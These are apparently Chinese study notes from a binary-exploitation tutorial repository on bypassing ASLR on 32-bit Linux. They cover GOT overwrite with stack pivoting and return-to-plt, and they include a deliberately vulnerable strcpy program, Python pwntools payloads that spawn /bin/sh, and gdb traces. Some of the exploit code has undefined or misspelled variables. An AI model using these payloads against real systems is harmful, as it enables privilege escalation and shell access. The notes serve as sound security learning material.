308 | ESI: 0xfffff540
309 | EDI: 0x0
310 | EBP: 0x41414141 ('AAAA')
311 | ESP: 0xbffff5c0 --> 0xb7fafe3f --> 0x10ff
312 | EIP: 0xb7eb785e (<__memrchr_sse2_bsf+686>: ret)
313 | EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
314 |
315 | ```
316 | 然后准备`call [eax]`, 不过
317 |
318 | ```shell
319 | [----------------------------------registers-----------------------------------]
320 | EAX: 0x804a010 --> 0xb7ed8be0 (<__execve>: push edi)
321 | EBX: 0xb7fcd000 --> 0x1a9da8
322 | ECX: 0x0
323 | EDX: 0xb7fce898 --> 0x0
324 | ESI: 0xfffff540
325 | EDI: 0x0
326 | EBP: 0x41414141 ('AAAA')
327 | ESP: 0xbffff5c4 --> 0xbffff600 --> 0x0
328 | EIP: 0xb7fafe3f --> 0x10ff
329 | EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
330 | [-------------------------------------code-------------------------------------]
331 | => 0xb7fafe3f: call DWORD PTR [eax]
332 | 0xb7fafe41: add BYTE PTR [eax],al
333 | ```
334 |
335 | 不过奇怪的是, 不是转跳到`__execve`而是继续执行, 下一条指令妄图写`text`而导致段错误!
336 |
337 | # 0x20 Spawning shell
338 |
339 | 目前阶段`exp`还不完整, 虽然成功覆写`GOT[getuid]`, 但`spawning shell`还未成功, 复制下面`libc`中的函数到栈上面.
340 |
341 | >seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
342 | >
343 | * setuid@PLT - setuid@plt 的地址 (0x80483d0).
344 | * getuid@PLT – getuid@plt 的地址 (0x80483c0), 不过这个地址因`GOT overwrite`变成了调用`execve`.
345 | * seteuid_arg 该被为获取 shell 置为 0.
346 | * execve_arg1 – filename – 串“/bin/sh”的地址.
347 | * execve_arg2 – argv – 包含 [“/bin/sh”的地址, NULL] 数组的地址.
348 | * execve_arg3 – envp – 环境变量 NULL.
349 |
350 | 如此以 0 继续进行缓冲区溢出了 (0 是`bad character`), 使用`strcpy()`复制`0`为`setuid()`参数, 但在开启栈随机化的情况下很难奏效, 因为尚不清楚`setuid()`参数准确位置, 需要绕过栈的随机化!
351 |
352 | ### How to bypass stack randomization?
353 |
354 | >可用`custom stack`与`stack pivoting `来完成需求!
355 |
356 | ### what is custom stack?
357 |
358 | >`custom stack`是由攻击者控制的栈区域, 它复制`libc`函数的调用链及其函数参数来绕过栈的随机化. 因攻击者选择任何位置无关代码后写入进程的`custom stack`区域而被绕过, 当前进程中其位置是`0x0804a000`到`0x0804b000`.
359 | >
360 | gdb-peda$ vmmap
361 | Start End Perm Name
362 | 0x0804a000 0x0804b000 rw-p /home/Sn0rt/lab/aslr_3
363 | >
364 | >这区域一般是包含.data 与 .bss 段.
365 |
366 | 现在知道了`custom stack`的位置, 复制函数和其参数调用链进入`custom stack`. 在我们的问题中, 复制下述为了`spawn shell`的`libc`函数及其调用参数进入`custom stack`.
367 |
368 | seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
369 |
370 | 想复制上述内容进入`custom stack`还需要以一系列`strcpy()`调用来覆写实际栈的返回地址. 例如复制`seteuid@PLT (0x080483d0)`到`custom stack`, 仍需
371 |
372 | >
373 | >* 四次的`strcpy()`调用 -`strcpy()`每次调用参数为十六进制的值 (0x08, 0x04, 0x83, 0xd0).
374 | >* `strcpy()`的源地址参数应该变成包含需要的十六进制值的可执行区域的内存地址且需要确认的是值所在的内存区域不会被修改.
375 | >* `strcpy()`的目标地址参数应该位于`custom stack`中.
376 |
377 | 遵循上文步骤, 构造期望的`custom stack`内容, 一旦`custom stack`设置完成, 需使用`stack pivoting`技术将其由现行栈移至`custom stack`!
378 |
379 | 关于`stack pivoting`技术引用`MBE`[^mbe] 课程 ppt 里的一个问题:
380 | Typically in modern exploitation you might only get one targeted overwrite rather than a straight stack smash
381 |
382 | >* What can you do when you only have one gadget worth of execution?
383 | >* Answer: Stack Pivoting
384 |
385 | ### what is stack pivoting?
386 |
387 | `Stack pivoting`技术需要用到的`gadget`操作数里面需要有`esp`, 多数情况下更关注`leave ret`, 已经知道`leave`大约是:
388 |
389 | mov ebp, esp
390 | pop ebp
391 |
392 | 因此`leave`指令执行前, 加载`custom stack`地址到`EBP`-- 让`ESP`指向`EBP`!
393 | 当`leave`被执行完, 如此能成功转到`custom stack`, 而后继续执行被加载到`custom stack`目的是`spawn shell`的`libc`函数.
394 |
395 | `stack pivoting`时栈的表现 (注意观察 esp,ebp):
396 |
397 | ```shell
398 | gdb-peda$
399 | [----------------------------------registers-----------------------------------]
400 | ...
401 | EBP: 0x804a010 --> 0xb7ed96a0 (<__getuid>: mov eax,0xc7)
402 | ESP: 0xbffff5a8 --> 0xb7e4769f (<__ctype_get_mb_cur_max+31>: pop eax)
403 | ...
404 | [-------------------------------------code-------------------------------------]
405 | => 0x80484a8 : leave
406 | 0x80484a9 : ret
407 | [------------------------------------stack-------------------------------------]
408 | 0000| 0xbffff5a8 --> 0xb7e4769f (<__ctype_get_mb_cur_max+31>: pop eax)
409 | 0004| 0xbffff5ac --> 0xb7ed8be0 (<__execve>: push edi)
410 | 0008| 0xbffff5b0 --> 0xb7e24aa2 --> 0x38f8c35a
411 | 0012| 0xbffff5b4 --> 0x804a010 --> 0xb7ed96a0 (<__getuid>: mov eax,0xc7)
412 | 0016| 0xbffff5b8 --> 0xb7ec9a2c (<__GI_time+28>: mov DWORD PTR [edx],eax)
413 | 0020| 0xbffff5bc --> 0x804a000 --> 0x8049f14 --> 0x1
414 | 0024| 0xbffff5c0 --> 0x804827c --> 0x62696c00 ('')
415 | 0028| 0xbffff5c4 --> 0xb7fcd000 --> 0x1a9da8
416 | [------------------------------------------------------------------------------]
417 | gdb-peda$
418 | [----------------------------------registers-----------------------------------]
419 | ...
420 | EBP: 0xb7ed96a0 (<__getuid>: mov eax,0xc7)
421 | ESP: 0x804a014 --> 0xb7f06a30 (<__GI_seteuid>: push edi)
422 | ...
423 | [-------------------------------------code-------------------------------------]
424 | 0x80484a8 : leave
425 | => 0x80484a9 : ret
426 | [------------------------------------stack-------------------------------------]
427 | 0000| 0x804a014 --> 0xb7f06a30 (<__GI_seteuid>: push edi)
428 | 0004| 0x804a018 --> 0xb7eae8d0 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
429 | 0008| 0x804a01c --> 0x80483f6 (: push 0x20)
430 | 0012| 0x804a020 --> 0x8048406 (<__gmon_start__@plt+6>: push 0x28)
431 | 0016| 0x804a024 --> 0x8048416 (: push 0x30)
432 | 0020| 0x804a028 --> 0xb7ea5e70 (<__strlen_sse2_bsf>: push esi)
433 | 0024| 0x804a02c --> 0xb7e3c990 (<__libc_start_main>: push ebp)
434 | 0028| 0x804a030 --> 0x0
435 | [------------------------------------------------------------------------------]
436 | ```
437 | 这样我们就自己构造出一个自己可控的栈!
438 |
439 | ### 利用 overwrite 技术的 Exploit
440 |
441 | 在 [2] 里面介绍的方法因代码生成的原因在这里行不通, 但是`sploitfun`后面部分利用思路依然值得学习, 主要原因是这个技术更具有通用性!
442 |
443 | #### 梳理需要的数据
444 | 按照`what is custom stack`部分所描述的内存布局找出数据用于后面的构造.
445 |
446 | ```shell
447 | char *newargv[] = {"/bin/sh", NULL};
448 | execve(newargv[0], newargv, NULL);
449 | ```
450 |
451 | `execve`的参数构造, 首先构造出一个 char 数组.
452 |
453 | ```python
454 | # setuid_plt 0x080483d0
455 | setuid_oct1 = 0x8048fa8 # "\x08"
456 | setuid_oct2 = 0x8048110 # "\x04"
457 | setuid_oct3 = 0x8048379 # "\x83"
458 | setuid_oct4 = 0x80483cc # "\xd0"
459 |
460 | # getuid_plt 0x080483c0
461 | getuid_oct1 = 0x8048fa8 # "\x08"
462 | getuid_oct2 = 0x8048110 # "\x04"
463 | getuid_oct3 = 0x8048379 # "\x83"
464 | getuid_oct4 = 0x80481cb # "\xc0"
465 |
466 | # setuid 参数 0x8048417 "0"
467 | setuid_arg_oct1 = 0x8048fa8 # "\x08"
468 | setuid_arg_oct2 = 0x8048110 # "\x04"
469 | setuid_arg_oct3 = 0x8048019 # "\x84"
470 | setuid_arg_oct4 = 0x8048f94 # "\x17"
471 |
472 | # execve 第一个参数 0x0804ac60
473 | execve_arg1_oct1 = 0x8048fa8 # "\x08"
474 | execve_arg1_oct2 = 0x8048110 # "\x04"
475 | execve_arg1_oct3 = 0x8048f50 # "\xac"
476 | execve_arg1_oct4 = 0x80486fc # "\x60"
477 |
478 | # execve 第二个参数 0x804ac68
479 | execve_arg2_oct1 = 0x8048fa8 # "\x08"
480 | execve_arg2_oct2 = 0x8048110 # "\x04"
481 | execve_arg2_oct3 = 0x8048f50 # "\xac"
482 | execve_arg2_oct2 = 0x8048688 # "\x68"
483 |
484 | # execve 第三个参数 (NULL)
485 | execve_null_arg = 0x08049007 # NULL
486 |
487 | execve_path_dst = 0x804ac60 # Custom stack location which contains execve_path "/bin/sh"
488 | execve_path_oct1 = 0x08049158 # "/"
489 | execve_path_oct2 = 0x08049157 # "b"
490 | execve_path_oct3 = 0x08049320 # "i"
491 | execve_path_oct4 = 0x080492aa # "n"
492 | execve_path_oct5 = 0x08049158 # "/"
493 | execve_path_oct6 = 0x08049f68 # "s"
494 | execve_path_oct7 = 0x080493b6 # "h"
495 | execve_path_oct8 = 0x08049007 # NULL
496 |
497 | execve_argv_dst = 0x0804ac68 # Custom stack location which contains execve_argv [0x804ac60, 0x0]
498 | execve_arg1_oct1 = 0x8048fa8 # "\x08"
499 | execve_arg1_oct2 = 0x8048110 # "\x04"
500 | execve_arg1_oct3 = 0x8048f50 # "\xac"
501 | execve_arg1_oct4 = 0x80486fc # "\x60"
502 |
503 | strcpy_plt = 0x080483e0
504 |
505 | ppr = 0x0804861e # "pop edi ; pop ebp ; ret"
506 | lr = 0x080484a8 # "leave; ret"
507 | ```
508 |
509 | #### 使用`strcpy`每字节复制数据构造`custom stack`
510 |
511 | ```python
512 | from subprocess import call
513 | from pwn import p32
514 |
515 | # Below stack frames are for strcpy (to copy setuid@PLT to custom stack)
516 | cust_esp = 0x804a360
517 | cust_base_esp = 0x804a360
518 |
519 | payload = ""
520 |
521 | cust_esp += 4 #Increment by 4 to get past Dummy EBP
522 | payload += p32(strcpy_plt)
523 | payload += p32(ppr_addr)
524 | payload += p32(cust_esp)
525 | payload += p32(setuid_oct4)
526 |
527 | cust_esp += 1
528 | payload += p32(strcpy_plt)
529 | payload += p32(ppr_addr)
530 | payload += p32(cust_esp)
531 | payload += p32(setuid_oct3)
532 |
533 | cust_esp += 1
534 | payload += p32(strcpy_plt)
535 | payload += p32(ppr_addr)
536 | payload += p32(cust_esp)
537 | payload += p32(setuid_oct2)
538 |
539 | cust_esp += 1
540 | payload += p32(strcpy_plt)
541 | payload += p32(ppr_addr)
542 | payload += p32(cust_esp)
543 | payload += p32(setuid_oct1)
544 |
545 | # Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
546 | cust_esp += 1
547 | payload += p32(strcpy_plt)
548 | payload += p32(ppr_addr)
549 | payload += p32(cust_esp)
550 | payload += p32(getuid_oct4)
551 |
552 | cust_esp += 1
553 | payload += p32(strcpy_plt)
554 | payload += p32(ppr_addr)
555 | payload += p32(cust_esp)
556 | payload += p32(getuid_oct3)
557 |
558 | cust_esp += 1
559 | payload += p32(strcpy_plt)
560 | payload += p32(ppr_addr)
561 | payload += p32(cust_esp)
562 | payload += p32(getuid_oct2)
563 |
564 | cust_esp += 1
565 | payload += p32(strcpy_plt)
566 | payload += p32(ppr_addr)
567 | payload += p32(cust_esp)
568 | payload += p32(getuid_oct1)
569 |
570 | # Below stack frames are for strcpy (to copy setuid arg to custom stack)
571 | cust_esp += 1
572 | payload += p32(strcpy_plt)
573 | payload += p32(ppr_addr)
574 | payload += p32(cust_esp)
575 | payload += p32(setuid_arg_oct1)
576 |
577 | cust_esp += 1
578 | payload += p32(strcpy_plt)
579 | payload += p32(ppr_addr)
580 | payload += p32(cust_esp)
581 | payload += p32(setuid_arg_oct2)
582 |
583 | cust_esp += 1
584 | payload += p32(strcpy_plt)
585 | payload += p32(ppr_addr)
586 | payload += p32(cust_esp)
587 | payload += p32(setuid_arg_oct3)
588 |
589 | cust_esp += 1
590 | payload += p32(strcpy_plt)
591 | payload += p32(ppr_addr)
592 | payload += p32(cust_esp)
593 | payload += p32(setuid_arg_otc4)
594 |
595 | # Below stack frames are for strcpy (to copy execve_arg1 to custom stack)
596 | cust_esp += 1
597 | payload += p32(strcpy_plt)
598 | payload += p32(ppr_addr)
599 | payload += p32(cust_esp)
600 | payload += p32(execve_arg1_oct4)
601 |
602 | cust_esp += 1
603 | payload += p32(strcpy_plt)
604 | payload += p32(ppr_addr)
605 | payload += p32(cust_esp)
606 | payload += p32(execve_arg1_oct3)
607 |
608 | cust_esp += 1
609 | payload += p32(strcpy_plt)
610 | payload += p32(ppr_addr)
611 | payload += p32(cust_esp)
612 | payload += p32(execve_arg1_oct2)
613 |
614 | cust_esp += 1
615 | payload += p32(strcpy_plt)
616 | payload += p32(ppr_addr)
617 | payload += p32(cust_esp)
618 | payload += p32(execve_arg1_oct1)
619 |
620 | #Below stack frames are for strcpy (to copy execve_arg2 to custom stack)
621 | cust_esp += 1
622 | payload += p32(strcpy_plt)
623 | payload += p32(ppr_addr)
624 | payload += p32(cust_esp)
625 | payload += p32(execve_arg2_oct4)
626 |
627 | cust_esp += 1
628 | payload += p32(strcpy_plt)
629 | payload += p32(ppr_addr)
630 | payload += p32(cust_esp)
631 | payload += p32(execve_arg2_oct3)
632 |
633 | cust_esp += 1
634 | payload += p32(strcpy_plt)
635 | payload += p32(ppr_addr)
636 | payload += p32(cust_esp)
637 | payload += p32(execve_arg2_oct2)
638 |
639 | cust_esp += 1
640 | payload += p32(strcpy_plt)
641 | payload += p32(ppr_addr)
642 | payload += p32(cust_esp)
643 | payload += p32(execve_arg2_oct1)
644 |
645 | # Below stack frames are for strcpy (to copy execve_arg3 to custom stack)
646 | cust_esp += 1
647 | payload += p32(strcpy_plt)
648 | payload += p32(ppr_addr)
649 | payload += p32(cust_esp)
650 | payload += p32(execve_null_arg)
651 |
652 | cust_esp += 1
653 | payload += p32(strcpy_plt)
654 | payload += p32(ppr_addr)
655 | payload += p32(cust_esp)
656 | payload += p32(execve_null_arg)
657 |
658 | cust_esp += 1
659 | payload += p32(strcpy_plt)
660 | payload += p32(ppr_addr)
661 | payload += p32(cust_esp)
662 | payload += p32(execve_null_arg)
663 |
664 | cust_esp += 1
665 | payload += p32(strcpy_plt)
666 | payload += p32(ppr_addr)
667 | payload += p32(cust_esp)
668 | payload += p32(execve_null_arg)
669 |
670 | # Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack)
671 | payload += p32(strcpy_plt)
672 | payload += p32(ppr_addr)
673 | payload += p32(execve_path_dst)
674 | payload += p32(execve_path_oct1)
675 |
676 | execve_path_dst += 1
677 | payload += p32(strcpy_plt)
678 | payload += p32(ppr_addr)
679 | payload += p32(execve_path_dst)
680 | payload += p32(execve_path_oct2)
681 |
682 | execve_path_dst += 1
683 | payload += p32(strcpy_plt)
684 | payload += p32(ppr_addr)
685 | payload += p32(execve_path_dst)
686 | payload += p32(execve_path_oct3)
687 |
688 | execve_path_dst += 1
689 | payload += p32(strcpy_plt)
690 | payload += p32(ppr_addr)
691 | payload += p32(execve_path_dst)
692 | payload += p32(execve_path_oct4)
693 |
694 | execve_path_dst += 1
695 | payload += p32(strcpy_plt)
696 | payload += p32(ppr_addr)
697 | payload += p32(execve_path_dst)
698 | payload += p32(execve_path_oct5)
699 |
700 | execve_path_dst += 1
701 | payload += p32(strcpy_plt)
702 | payload += p32(ppr_addr)
703 | payload += p32(execve_path_dst)
704 | payload += p32(execve_path_oct6)
705 |
706 | execve_path_dst += 1
707 | payload += p32(strcpy_plt)
708 | payload += p32(ppr_addr)
709 | payload += p32(execve_path_dst)
710 | payload += p32(execve_path_oct7)
711 |
712 | execve_path_dst += 1
713 | payload += p32(strcpy_plt)
714 | payload += p32(ppr_addr)
715 | payload += p32(execve_path_dst)
716 | payload += p32(execve_path_oct8)
717 |
718 | # Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack)
719 | payload += p32(strcpy_plt)
720 | payload += p32(ppr_addr)
721 | payload += p32(execve_argv_dst)
722 | payload += p32(execve_argv1_oct4)
723 |
724 | execve_argv_dst += 1
725 | payload += p32(strcpy_plt)
726 | payload += p32(ppr_addr)
727 | payload += p32(execve_argv_dst)
728 | payload += p32(execve_argv1_oct3)
729 |
730 | execve_argv_dst += 1
731 | payload += p32(strcpy_plt)
732 | payload += p32(ppr_addr)
733 | payload += p32(execve_argv_dst)
734 | payload += p32(execve_argv1_oct2)
735 |
736 | execve_argv_dst += 1
737 | payload += p32(strcpy_plt)
738 | payload += p32(ppr_addr)
739 | payload += p32(execve_argv_dst)
740 | payload += p32(execve_argv1_oct1)
741 |
742 | # Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack)
743 | execve_argv_dst += 1
744 | payload += p32(strcpy_plt)
745 | payload += p32(ppr_addr)
746 | payload += p32(execve_argv_dst)
747 | payload += p32(execve_null_arg)
748 |
749 | execve_argv_dst += 1
750 | payload += p32(strcpy_plt)
751 | payload += p32(ppr_addr)
752 | payload += p32(execve_argv_dst)
753 | payload += p32(execve_null_arg)
754 |
755 | execve_argv_dst += 1
756 | payload += p32(strcpy_plt)
757 | payload += p32(ppr_addr)
758 | payload += p32(execve_argv_dst)
759 | payload += p32(execve_null_arg)
760 |
761 | execve_argv_dst += 1
762 | payload += p32(strcpy_plt)
763 | payload += p32(ppr_addr)
764 | payload += p32(execve_argv_dst)
765 | payload += p32(execve_null_arg)
766 |
767 | # Stack Pivot
768 | payload += p32(pr_addr)
769 | payload += p32(cust_base_esp)
770 | payload += p32(lr_addr)
771 |
772 | ```
773 | 如此`custom stack`就构造完成了.
774 |
775 | # conclusion
776 |
777 | 虽然构造`custome`完成了, 但是之前覆写部分的`gadget`是取自`libc`, 其位置受到共享库随机化影响, 导致`bypass`aslr 失败.
778 | `sploitfun`思路借鉴了 [^paper] 是利用`text`不参与随机化的特点, 而从中抽取`gadget`构造`rop chain`来覆写`GOT`, 而后通过`strcpy`(或者其他复制函数) 把参数复制进入`custom stack`, 在利用`stack pivoting`技术调整当前栈位置, 等待接下来`call execve()`. 不过个人认为调用`execve()`这样的函数真是很麻烦参数太多, 可以尝试`system()`代替.
779 |
780 | ### reference
781 |
782 | [^binary]: [生成的代码](../media/attach/aslr_3)
783 | [^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/)
784 | [^paper]: [BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits](http://media.blackhat.com/bh-us-10/whitepapers/Le/BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits-wp.pdf)
785 | [^mbe]: [stack pivoting 演示 07_lecture](https://github.com/RPISEC/MBE/releases/download/v1.1_release/MBE_lectures.tar.gz)
786 |
--------------------------------------------------------------------------------
/chapter2/ret2plt-bypass-aslr.md:
--------------------------------------------------------------------------------
1 | ---
2 | author: sn0rt
3 | comments: true
4 | date: 2016-06-02
5 | layout: post
6 | tag: binary
7 | title: ret2plt bypass aslr on linux32
8 | ---
9 |
10 | # 0x00 beginning
11 |
12 | 这个笔记是记录学习`bypass ASLR`过程的第一篇, 实验的主要来自`sploitfun`[^origin].
13 |
14 | >what's ASLR?
15 |
16 | ASLR(Address space layout randomization) 是利用随机化分布内存位置来提高`exp`执行门槛的技术, 随机化分布的对象有
17 |
18 | * stack address
19 | * heap address
20 | * Shared library address
21 | * kernel address
22 |
23 | 当地址被随机化过后`exp`需要定位到具体内存地址可能已经发生了变化. 比如之前笔记里面的`bypass nx`使用的`ret2libc`技术会因为`libc`基地址变化导致`system()`地址变化了而失效, 但是这个随机化并不是真正的随机无规律, 否则我很难想象计算机是怎么运行的 (那么也不会有这篇笔记).
24 |
25 | 在绝大多数的 Linux 发行版当中地址随机化是开启的, 在内核文档里面关于其选项的参数如下
26 |
27 | ```ini
28 | randomize_va_space:
29 |
30 | This option can be used to select the type of process address
31 | space randomization that is used in the system, for architectures
32 | that support this feature.
33 |
34 | 0 - Turn the process address space randomization off. This is the
35 | default for architectures that do not support this feature anyways,
36 | and kernels that are booted with the "norandmaps" parameter.
37 |
38 | 1 - Make the addresses of mmap base, stack and VDSO page randomized.
39 | This, among other things, implies that shared libraries will be
40 | loaded to random addresses. Also for PIE-linked binaries, the
41 | location of code start is randomized. This is the default if the
42 | CONFIG_COMPAT_BRK option is enabled.
43 |
44 | 2 - Additionally enable heap randomization. This is the default if
45 | CONFIG_COMPAT_BRK is disabled.
46 | ```
47 |
48 | 用来学习研究漏洞代码源码如下:
49 |
50 | ```c
51 |
52 | // gcc -g -o vuln vuln.c -fno-stack-protector
53 | // Q: 为什么使用这个代码?
54 | // A: 因为有 system() 和"/bin/sh",ret2libc 要素.
55 |
56 | #include
57 | #include
58 |
59 | /* Eventhough shell() function isnt invoked directly, its needed here since
60 | * 'system@PLT' and 'exit@PLT' stub code should be present in executable to
61 | * successfully exploit it.
62 | */
63 | void shell() {
64 | system("/bin/sh");
65 | exit(0);
66 | }
67 |
68 | int main(int argc, char* argv[]) {
69 | int i=0;
70 | char buf[256];
71 | strcpy(buf,argv[1]);
72 | printf("%s\n",buf);
73 | return 0;
74 | }
75 |
76 | ```
77 |
78 | # 0x01 analysis
79 |
80 | 当`libc`的基地址被随机化, 让我们找不到`system()`, 但是`system()`在`libc`中的相对偏移量是个常数 (在同一个编译的 libc 中), 这就是突破`Shared library address randomization`的其中一个关键点, 目前主流有三种方法:
81 |
82 | * Return-to-plt
83 | * Brute force
84 | * GOT overwrite and GOT dereference
85 |
86 | 当前笔记主要讨论`return-to-plt`.
87 |
88 | >What is return-to-plt?
89 |
90 | 在 ASLR 开到 2 时`libc`中的基址已经躲猫猫了, 而 PLT 的函数却没有 (在执行前就能知道), 因此可以把原打算`ret2libc`目标函数位置变成 return 到`plt`里面的位置.
91 |
92 | >如何理解`ret2libc`目标函数位置变成 return 到`plt`里面的位置?
93 |
94 | PLT 是 ELF 中的一个`section`, 当程序多次使用共享库里函数时候, 编译器帮我们生成特殊的`section`来引用全部的函数, 这个`section`包含许多转跳指令, 可以用如下指令查看.
95 |
96 | objdump -d -j .plt /paht/elf/filename
97 |
98 | 在设计上, 共享库不同于静态库, 共享库的`text section`由多进程共享而`data section`是每进程独立, 有助节约内存与磁盘, 因这样的设计`text section`该给`rx`权限才显合理, 但这又导致了链接器不能重定位数据符号或函数地址到`text section`, 那么链接器该如何在不修改代码的情况下在运行时候重定位共享库呢? 答案是使用`PIC`.
99 |
100 | >What is PIC?
101 |
102 | PIC(Position Independent Code) 是针上述问题而开发, 它使共享库的`text section`被多进程共享时而不管加载时的预先重定位.PIC 用间接层达成此目 -- 被共享的`text section`不包含放置全局符号和函数引用在虚拟内存的绝对地址取而代之是放在`data section`的特殊表里面, 表中放置了全局符号和函数引用的绝对虚拟地址, 链接器在重定位的时会填满表, 这样仅修改了`data section`而`text section`避免修改.
103 |
104 | 在 PIC 中链接器重定位全局符号与函数的发现有两种不同的描述:
105 |
106 | >* GOT: Global offset table contains a 4 byte entry for each global variable, where the 4 byte entry contains the address of the global variable. When an instruction in code segment refers to a global variable, instead of global variable’s absolute virtual address the instruction points to an entry in GOT. This GOT entry is relocated by the dynamic linker when the shared library is loaded. Thus PIC uses this table to relocate global symbols with **a single level of indirection**.
107 |
108 | >* PLT: Procedural Linkage Table contains a stub code for each global function. A call instruction in text segment doesnt call the function directly instead it calls the stub code (function@PLT). This stub code with the help of dynamic linker resolves the function address and its copied to GOT (GOT[n]). This resolution happens only during the first invocation of the function, later on when a call instruction in code segment calls the stub code (function@PLT) instead of invoking dynamic linker to resolve the function address, stub code directly obtains the function address from GOT (GOT[n]) and jumps to it.Thus PIC uses this table to relocate function addresses with **two level of indirection**.
109 |
110 | 稍微总结一下: 在程序运行过程中,plt 是不可写的.got 是可写的.plt 在编译时候就确定下来的,got 是在运行时候变化的. 共享库机制通过 plt 去找 got(第一次运行后修改) 才到真的函数.
111 |
112 | 调试例子:
113 |
114 | ```shell
115 | gdb-peda$ disassemble main
116 | Dump of assembler code for function main:
117 | ...
118 | 0x08048439 <+28>: call 0x80482f0
119 | 0x0804843e <+33>: mov eax,0x0
120 | 0x08048443 <+38>: leave
121 | 0x08048444 <+39>: ret
122 | End of assembler dump.
123 | gdb-peda$ disassemble 0x80482f0
124 | Dump of assembler code for function printf@plt:
125 | 0x080482f0 <+0>: jmp DWORD PTR ds:0x804a00c
126 | 0x080482f6 <+6>: push 0x0
127 | 0x080482fb <+11>: jmp 0x80482e0
128 | End of assembler dump.
129 | ```
130 |
131 | 在`printf`调用之前,`printf@plt`的 0x080482f6 其指向地址转跳地址为 0x804a00c.
132 |
133 | ```shell
134 | gdb-peda$ x/lwx 0x804a00c
135 | 0x804a00c : 0x080482f6
136 | gdb-peda$ b *0x0804843e
137 | Breakpoint 1 at 0x804843e
138 | gdb-peda$ r
139 | Starting program: /home/Sn0rt/lab/a.out
140 | Hello (null)
141 | [-------------------------------------code-------------------------------------]
142 | ...
143 | 0x8048439 : call 0x80482f0
144 | => 0x804843e : mov eax,0x0
145 | 0x8048443 : leave
146 | 0x8048444 : ret
147 | ...
148 | Breakpoint 1, 0x0804843e in main ()
149 | gdb-peda$ x/lwx 0x804a00c
150 | 0x804a00c : 0xb7e70280
151 |
152 | ```
153 |
154 | 在第一次`printf`调用完成过后,`printf@got.plt`地址变成由 0x080482f6 变成 0xb7e70280.
155 |
156 | # 0x03 how to use?
157 |
158 | 肉眼能识别例子程序里面有栈溢出, 但是如何利用呢?
159 | 根据分析引入的知识, 利用起来不需要精确的`libc`中函数的地址, 我们可以简单的使用`function@plt`的地址 (运行前已经知道).
160 |
161 | 先反汇编看一下`shell`函数里面`system@plt`与`exit@plt`
162 |
163 | ```shell
164 | gdb-peda$ disassemble shell
165 | Dump of assembler code for function shell:
166 | 0x080484ad <+0>: push ebp
167 | 0x080484ae <+1>: mov ebp,esp
168 | 0x080484b0 <+3>: sub esp,0x18
169 | 0x080484b3 <+6>: mov DWORD PTR [esp],0x80485a0
170 | 0x080484ba <+13>: call 0x8048370
171 | 0x080484bf <+18>: mov DWORD PTR [esp],0x0
172 | 0x080484c6 <+25>: call 0x8048390
173 | End of assembler dump.
174 | ```
175 |
176 | 可以看见`plt`里面的两个地址, 在这里完成可以把其当成`libc`里面的函数去利用, 准备布置`exp`.
177 |
178 | ```python
179 | #!/usr/bin/env python
180 | from pwn import p32
181 | from subprocess import call
182 |
183 | exit = 0x8048390
184 | system = 0x8048370
185 | binshaddr = 0x80485a0
186 | payload = 'A' * 272 + p32(system) + p32(exit) + p32(binshaddr)
187 | call(["./aslr_1", payload])
188 | ```
189 |
190 | 如何去确定那 272 的 offset? 这个是 peda 的套路啊!
191 | 方法完全是 re2libc 的翻版, 关于那`binshaddr`是在`shell`函数里面放好的, 他的地址是不会变的, 因为它是常量放在.rodata.
192 |
193 | ```shell
194 | Sn0rt@warzone:~/lab$ python aslr_1_exp.py
195 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp�����
196 | $ uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)
197 | $
198 | ```
199 | 初步利用完成, 成功 bypass ASLR and NX!
200 |
201 | # 0x04 doubt
202 |
203 | * 如果`ret2libc`的目标函数不存在`plt`中这个方法应该失效? 还有如果有更好的共享库方案是 plt 存在优势不具备了, 那么这个`section`可能会变成历史, 方法也有可能被 GG.
204 |
205 | ### reference
206 |
207 | [^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/)
208 |
--------------------------------------------------------------------------------
/chapter3/README.md:
--------------------------------------------------------------------------------
1 | # 堆安全
2 |
3 | ## Linux 下基本的堆管理机制
4 |
5 | [ptmalloc2](./ptmalloc2.md)
6 |
7 |
8 | ## 套路研习
9 |
10 | [heap overflow using unlink on linux32](./linux-x86-unlink.md) 过时!
11 |
12 | [heap overflow with using malloc maleficarum on linux32](./heap-overflow-uisng-malloc-maleficarum.md)
13 |
14 | [off-by-one vulnerability (heap based) on linux32](./linux-x86-off-by-one.md) 过时!
15 |
16 | [use after free on linux32](./linux-x86-UAF.md) 主流!
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/chapter3/heap-overflow-uisng-malloc-maleficarum.md:
--------------------------------------------------------------------------------
1 | 重要:
2 | > 本文参考[^sploitfun]和[MallocMaleficarum](../media/attach/MallocMaleficarum.Txt),编译时候没有使用`ASLR`,`NX`,`RELRO`安全机制。
3 |
4 | 自 2004 后,`glibc malloc` GOT 获得加固,`unlink`技术被淘汰。但是很快在 2005 年,`Phantasmal Phatasmagoria` 带来了一系列针对堆一处利用的技术。
5 |
6 | >
7 | * The House of Prime:在调用函数 malloc 后,要求两个释放的堆块包含攻击者可控的 size 字段。
8 | * The House of Mind:要求能够操作程序反复分配新的内存。
